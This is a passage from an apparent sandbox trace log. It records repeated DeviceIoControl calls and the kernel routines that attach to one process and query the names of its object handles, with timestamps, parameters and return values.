lpOverlapped=0x0) returned 1 [0122.374] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.375] PsAcquireProcessExitSynchronization () returned 0x0 [0122.375] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.375] ObReferenceObjectByHandle (in: Handle=0x16c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003241bf0, HandleInformation=0x0) returned 0x0 [0122.375] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.375] PsReleaseProcessExitSynchronization () returned 0x2 [0122.375] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.375] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.375] ObfDereferenceObject (Object=0xfffffa8003241bf0) returned 0x1 [0122.375] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.375] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.375] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.375] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0122.375] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.375] PsAcquireProcessExitSynchronization () returned 0x0 [0122.375] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.375] ObReferenceObjectByHandle (in: Handle=0x174, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800cfffdd0, HandleInformation=0x0) returned 0x0 [0122.375] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.375] PsReleaseProcessExitSynchronization () returned 0x2 [0122.375] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.375] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.375] ObfDereferenceObject (Object=0xfffffa800cfffdd0) returned 0x1 [0122.375] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.375] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.375] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.375] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0122.375] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.375] PsAcquireProcessExitSynchronization () returned 0x0 [0122.375] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.375] ObReferenceObjectByHandle (in: Handle=0x178, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002efddd0, HandleInformation=0x0) returned 0x0 [0122.375] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.375] PsReleaseProcessExitSynchronization () returned 0x2 [0122.375] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.375] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.376] ObfDereferenceObject (Object=0xfffffa8002efddd0) returned 0x1 [0122.376] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.376] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.376] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.376] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0122.376] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.376] PsAcquireProcessExitSynchronization () returned 0x0 [0122.376] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.376] ObReferenceObjectByHandle (in: Handle=0x18c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f6e070, HandleInformation=0x0) returned 0x0 [0122.376] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.376] PsReleaseProcessExitSynchronization () returned 0x2 [0122.376] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.376] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.376] ObfDereferenceObject (Object=0xfffffa8002f6e070) returned 0x1 [0122.376] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.376] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.376] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.376] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0122.376] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.376] PsAcquireProcessExitSynchronization () returned 0x0 [0122.376] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.376] ObReferenceObjectByHandle (in: Handle=0x1c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003245740, HandleInformation=0x0) returned 0x0 [0122.376] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.376] PsReleaseProcessExitSynchronization () returned 0x2 [0122.376] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.376] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.376] ObfDereferenceObject (Object=0xfffffa8003245740) returned 0x1 [0122.376] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.376] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.376] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.376] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0122.376] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.376] PsAcquireProcessExitSynchronization () returned 0x0 [0122.377] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.377] ObReferenceObjectByHandle (in: Handle=0x20c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80032623e0, HandleInformation=0x0) returned 0x0 [0122.377] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.377] PsReleaseProcessExitSynchronization () returned 0x2 [0122.377] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.377] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002101044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8002101044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.377] ObfDereferenceObject (Object=0xfffffa80032623e0) returned 0x1 [0122.377] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.377] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.377] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.377] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0122.377] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.377] PsAcquireProcessExitSynchronization () returned 0x0 [0122.377] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.377] ObReferenceObjectByHandle (in: Handle=0x27c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800328b860, HandleInformation=0x0) returned 0x0 [0122.377] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.377] PsReleaseProcessExitSynchronization () returned 0x2 [0122.377] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.377] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.377] ObfDereferenceObject (Object=0xfffffa800328b860) returned 0x1 [0122.377] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.377] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.377] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.377] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0122.377] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.377] PsAcquireProcessExitSynchronization () returned 0x0 [0122.377] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.377] ObReferenceObjectByHandle (in: Handle=0x284, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800326ec80, HandleInformation=0x0) returned 0x0 [0122.377] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.377] PsReleaseProcessExitSynchronization () returned 0x2 [0122.377] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.377] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.377] ObfDereferenceObject (Object=0xfffffa800326ec80) returned 0x1 [0122.378] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.378] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.378] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.378] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0122.378] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.378] PsAcquireProcessExitSynchronization () returned 0x0 [0122.378] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.378] ObReferenceObjectByHandle (in: Handle=0x2a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800326fa10, HandleInformation=0x0) returned 0x0 [0122.378] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.378] PsReleaseProcessExitSynchronization () returned 0x2 [0122.378] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.378] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.378] ObfDereferenceObject (Object=0xfffffa800326fa10) returned 0x1 [0122.378] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.378] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.378] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.378] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.378] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.378] PsAcquireProcessExitSynchronization () returned 0x0 [0122.378] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.378] ObReferenceObjectByHandle (in: Handle=0x2c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0015eff00, HandleInformation=0x0) returned 0x0 [0122.378] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.378] PsReleaseProcessExitSynchronization () returned 0x2 [0122.378] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.378] ObQueryNameString (in: Object=0xfffff8a0015eff00, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.378] ObfDereferenceObject (Object=0xfffff8a0015eff00) returned 0x1 [0122.378] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.378] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.378] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.378] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x122, lpOverlapped=0x0) returned 1 [0122.378] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.378] PsAcquireProcessExitSynchronization () returned 0x0 [0122.378] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.379] ObReferenceObjectByHandle (in: Handle=0x2d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f78850, HandleInformation=0x0) returned 0x0 [0122.379] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.379] PsReleaseProcessExitSynchronization () returned 0x2 [0122.379] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.379] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.379] ObfDereferenceObject (Object=0xfffffa8002f78850) returned 0x1 [0122.379] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.379] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.379] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.379] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x144, lpOverlapped=0x0) returned 1 [0122.379] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.379] PsAcquireProcessExitSynchronization () returned 0x0 [0122.379] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.379] ObReferenceObjectByHandle (in: Handle=0x2d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002b78070, HandleInformation=0x0) returned 0x0 [0122.379] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.379] PsReleaseProcessExitSynchronization () returned 0x2 [0122.379] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.379] ObQueryNameString (in: Object=0xfffffa8002b78070, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.379] ObfDereferenceObject (Object=0xfffffa8002b78070) returned 0x11 [0122.379] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.379] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.379] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.379] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0122.379] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.379] PsAcquireProcessExitSynchronization () returned 0x0 [0122.379] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.379] ObReferenceObjectByHandle (in: Handle=0x2d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0122.379] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.379] PsReleaseProcessExitSynchronization () returned 0x2 [0122.380] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.380] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.380] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x6 [0122.380] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.380] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.380] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.380] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0122.380] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.380] PsAcquireProcessExitSynchronization () returned 0x0 [0122.380] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.380] ObReferenceObjectByHandle (in: Handle=0x2e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80114574a0, HandleInformation=0x0) returned 0x0 [0122.380] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.380] PsReleaseProcessExitSynchronization () returned 0x2 [0122.380] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.380] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.380] ObfDereferenceObject (Object=0xfffffa80114574a0) returned 0x1 [0122.380] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.380] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.380] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.380] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0122.380] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.380] PsAcquireProcessExitSynchronization () returned 0x0 [0122.380] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.380] ObReferenceObjectByHandle (in: Handle=0x2f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80034d7430, HandleInformation=0x0) returned 0x0 [0122.380] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.380] PsReleaseProcessExitSynchronization () returned 0x2 [0122.380] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.380] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.380] ObfDereferenceObject (Object=0xfffffa80034d7430) returned 0x1 [0122.380] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.380] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.380] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.381] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0122.381] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.381] PsAcquireProcessExitSynchronization () returned 0x0 [0122.381] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.381] ObReferenceObjectByHandle (in: Handle=0x338, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00196fbe0, HandleInformation=0x0) returned 0x0 [0122.381] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.381] PsReleaseProcessExitSynchronization () returned 0x2 [0122.381] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.381] ObQueryNameString (in: Object=0xfffff8a00196fbe0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.381] ObfDereferenceObject (Object=0xfffff8a00196fbe0) returned 0x2 